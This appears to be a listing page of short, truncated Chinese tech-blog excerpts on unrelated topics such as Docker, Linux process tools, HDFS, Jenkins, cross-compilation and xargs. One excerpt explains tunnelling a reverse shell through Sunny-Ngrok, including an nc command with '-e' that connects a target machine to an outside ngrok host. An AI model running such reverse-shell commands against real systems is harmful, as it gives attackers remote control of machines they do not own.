在一个IP紧缺的时代,连电信也不分配固定IP给到你用,一条专网专用线路贵的不行,那么作为软件开发人员常常要使用到外网,比如和微信调试程序,给到不在同一网段的朋友一起调试程序等,大家耳熟能详的内网穿透就
参考:Jenkins和Docker结合可以将容器作为Jenkins的slave节点,有很多优点。比如实现执行环境的统一,slave的自动创建和销毁,免去了人工维护环境的成本等。
什么是跨平台交叉编译 交叉编译 通俗地讲就是在一种平台上编译出其他几个平台能够运行的程序(通常指系统和CPU架构的不同) 交叉编译通常使用在分发时,编译出多个平台可用的二进制程序,比如在Linux下编译出可以在Win下可以使用的EXE程序。 本地编译 本地编译是指当前系统所配置编译器根据当前系统配置编译出在当前系统所适用的执行程序(部分其他语言本地编译时可能会由于扩展包含的问题,无法在同平台其他机器运行)。 所以如果要生成在非本机的其他平台和系统的程序,就需要用到交叉编译(交叉编译工具链)。 交叉编译工具链
前言 际开发中,有时候会收到一些服务的监控报警,比如CPU飙高,内存飙高等,这个时候,我们会登录到服务器上进行排查。本篇博客将涵盖这方面的知识:Linux性能工具。 一次线上问题排查模拟 背景:服
本章将介绍以下命令: ps : 显示当前所有进程的运行情况。 top : 实时显示当前所有任务的资源占用情况。 jobs : 列出所有活动作业的状态信息。 bg : 设置在后台中运行作业。 fg : 设置在前台中运行作业。 kill : 发送信号给某个进程。 killall : 杀死指定名字的进程。 shutdown : 关机或重启系统。 一、进程如何工作 父进程创建子进程 一个程序的运行可以触发其它程序的运行。 进程的有序进行 内核会保存每个进程的信息以便确保任务有序进行。 比如,每个进程
在实际开发中,有时候会收到一些服务的监控报警,比如CPU飙高,内存飙高等,这个时候,我们会登录到服务器上进行排查。本篇博客将涵盖这方面的知识:Linux性能工具。
在生产环境中,我们通常在Linux环境下使用一些命令来监控主机的负载情况,例如每个程序对cpu的使用情况和内存的占用情况。我在生产环境中使用最多的就是top命令,通过对一些指标的观察,以此来判断机器的负载运行情况。
Google几乎所有的机器都是混部的,在一台机器上,可能运行着不同jobs的tasks。根据论文中所说,Google的50%的机器运行了9个甚至更多的tasks。90%的机器运行着25个tasks,达到4500个线程。
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最近开始自学docker,决定把自己的学习进度分享给大家,每天一篇希望能帮助docker的初学者。大家积极留言哦,输出决定输入!预计20次完成docker的讲解。 1.什么是docker Docker
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Ngrok Ngrok一个反向代理,通过在公共的端点和本地端口建立一个安全的通道,其功能可以反向代理出web服务还有端口转发,这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的,所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ./sunny clientid 隧道id 本地监听端口: nc -vv -lp 9991 目标机器: nc -vv server.ngrok.cc 33388 -e cm
Python,是一种广泛使用的高级编程语言。相比于C++和JAVA,Python都能让程序的结构更加清晰明了。作为一种解释性语言,Python的设计强调代码的可读性和简洁的语法。
HDFS是什么 Hadoop Distributed File System(简称HDFS)是Hadoop分布式文件系统。 HDFS有着高容错性(fault-tolerant)的特点,并且设计用来部署在低廉的(low-cost)硬件上。而且它提供高吞吐量(high throughput)来访问应用程序的数据,适合那些有着超大数据集(large data set)的应用程序。HDFS放宽了(relax)POSIX的要求(requirements)这样可以实现流的形式访问(streaming access)文
前面详细介绍了mongodb的副本集和分片的原理,这里就不赘述了。下面记录Mongodb副本集+分片集群环境部署过程: MongoDB Sharding Cluster,需要三种角色: Shard S
近日,微软推出了 Visual Studio Code Server ,这是一项在远程开发机器上运行的后端服务。用户可以将该服务安装在任何位置(本地开发机器、云 VM 等),然后使用 VS Code 网页版(vscode.dev)通过浏览器安全地连接到该远程计算机上进行开发,无需设置麻烦的 SSH 或 https 。
好多工具都是python写的,如果目标机器是linux的话自带python环境可以很方便的运行这些工具,但是windows下是不自带python环境的,所以一种办法是直接在目标环境安装一个python,另外一种就是直接在内存加载python脚本。
在树莓派4B上安装了官方的 Ubuntu 系统,运行 top 指令,发现 avahi-daemon 占用 CPU 高,且对 CPU 的消耗波动比较大。
广义上讲,进程间通信(Inter-Process Communication, IPC)是指运行在不同进程(不论是否在同一台机器)中的若干线程间的数据交换。
近日客户反应:应用程序换到另一台机器运行时报错:“Ora-01017:用户名/口令无效; 登录被拒绝。”
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编译型和解释型的定义是对立存在的,但也可以在一个语言中同时存在。比如 java 语言同时兼有编译型和解释型特点。整个流程如下:
Github: https://github.com/yingzk/MyDocker
前言 我们在跑自动化项目的时候,希望有单独的测试机能跑自动化项目,并且能集成到jenkins上构建任务。如果公司已经有jenkins环境了,那无需重新搭建。 只需在现有的平台基础上,新增一个slave
CZGL.SystemInfo 是一个支持 Windows 和 Linux 的资源信息获取库,用于获取系统环境、机器资源信息、系统资源使用情况。
Github:https://github.com/yingzk/MyDocker 1. Docker 简介 Docker是一个开源(Github地址: https://github.com/dock
微服务治理中限流、熔断、降级是一块非常重要的内容。目前市面上开源的组件也不是很多,简单场景可以使用Guava,复杂场景可以选用Hystrix、Sentinel。今天要说的就是Sentinel,Sentinel是一款阿里开源的产品,只需要做较少的定制开发即可大规模线上使用。从使用感受上来说,它有以下几个优点:
概述 PowerShell用的最多的地方就是远程调用,在远程机器上执行脚本,监控远程机器的状态,如NLB状态,EventLog,SqlServer DataBase状态等。 本篇将讲到用PsE
Portainer 是 Docker 的轻量级,跨平台和开源管理 UI。Portainer 提供了 Docker 的详细概述,并允许您通过基于 Web 的简单仪表板管理容器,镜像,网络和卷。支持 GNU/Linux,Windows 和 Mac。
单体应用拆分成多个微服务后,虽能实现快速开发迭代,但带来更大测试和运维部署的成本。
该表展示了一家工厂网站的用户活动. (machine_id, process_id, activity_type) 是当前表的主键. machine_id 是一台机器的ID号. process_id 是运行在各机器上的进程ID号. activity_type 是枚举类型 (‘start’, ‘end’). timestamp 是浮点类型,代表当前时间(以秒为单位).
常数阶O(1)<对数阶O(log2n)<线性阶O(n),<线性对数阶O(nlog2n)
.NET Core 是基于.NET Framework 为基础,借鉴了其优秀的思想与强大的功能,经过重新设计与构建,实现了.NET Framework 中的部分功能(不包含Windows UI部分),比如JIT、垃圾收集器(GC)、CLR、BCL等。
每一个spark应用程序都包含一个驱动程序(driver program ),他会运行用户的main函数,并在集群上执行各种并行操作(parallel operations)
本文告诉大家,编译为 AnyCpu 和 AnyCPU(Prefer 32-bit)和 x86 有什么区别
Client:切分文件;访问或通过命令行管理HDFS;与NameNode交互,获取文件位置信息;与DataNode交互,读取和写入数据。
一个是3个字,另一个2个字 集群一般被分为三种类型,高可用集群(High-availability (HA) clusters )如RHCS、LifeKeeper等,负载均衡集群(Load balancing clusters )如LVS等、高性能运算集群(High-performance (HPC) clusters);分布式应该是高性能运算集群范畴内。 Restful+ZooKeeper+FastDFS+ActiveMQ+Nginx+Dubbo+Maven+Druid+Tomcat+MySQL+Spri
最近一个客户,想把之前其他同事运行在A机器的服务(容器运行),迁移至B机器进行测试。为了完成客户的任务。我这边采取下面几个步骤进行恢复。
Borg的作用是:提供一个标准任务规格语言,集成名字服务,实时任务监控,以及工具来分析和模拟系统行为。 Google内部的集群管理系统调用都是用Borg来admits(准入),schedules(调度),starts,restarts,Borg监 控了所有Google所有范围运行的应用。
WinForm客户端软件开发时,使用rdlc做报表,并且使用ReportViewer呈现报表时,开发者的机器运行正常。但是部署到第三方机器上运行时报错。大致有以下几种错误:
今天,CNCF技术监督委员会(Technical Oversight Committee,TOC)投票同意将Cortex作为孵化级托管项目。
WinForm客户端软件开发时,使用rdlc做报表,并且使用ReportViewer呈现报表时,开发者的机器运行正常。但是部署到第三方机器上运行时报错。大致有以下几种错误: (1)未能加载文件或程序集“Microsoft.ReportViewer.Common, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91”或它的某一个依赖项。系统找不到指定的文件。文件名:“Microsoft.ReportViewer.Common, Version=11.0.0.0, Culture=neutral,PublicKeyToken=89845dcd8080cc91” (2)RDLC的部署(无法找到Microsoft.ReportViewer.ProcessingObjectModel.dll文件) (3)找不到 Microsoft.SqlServer.Types.dll或者其他的依赖项
其中bin目录里面存放了一系列condor_开头的可执行程序,正是通过这些指令程序来实现分布式计算的。其中有个GUI程序condor_birdwatcher.exe,打开后运行界面如下:
本文主要研究一下powerjob的执行机器地址(designatedWorkers)
xargs结合管道操作符|,可以完成很多看似复杂的问题: 1、快速删除所有.log日志文件 机器运行久了,就会有各式各样的日志文件,散落在各个目录下,可以利用下面的方法: find ./ -name '*.log' | xargs rm -rf 上面的代码,先把当前目录及子目录下的所有后缀是log的文件找出来,然后做为参数,传递给 rm -rf ,这样就把日志文件给干掉了。 2、根据名字找到运行的进程并杀掉 比如:有一个java程序在服务器上,我们在写部署脚本时,要先把之前在运行的程序kill掉,如果只知道
给定一棵二叉搜索树,请找出其中的第k小的结点。例如, (5,3,7,2,4,6,8)中,按结点数值大小顺序第三小结点的值为4。
JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。
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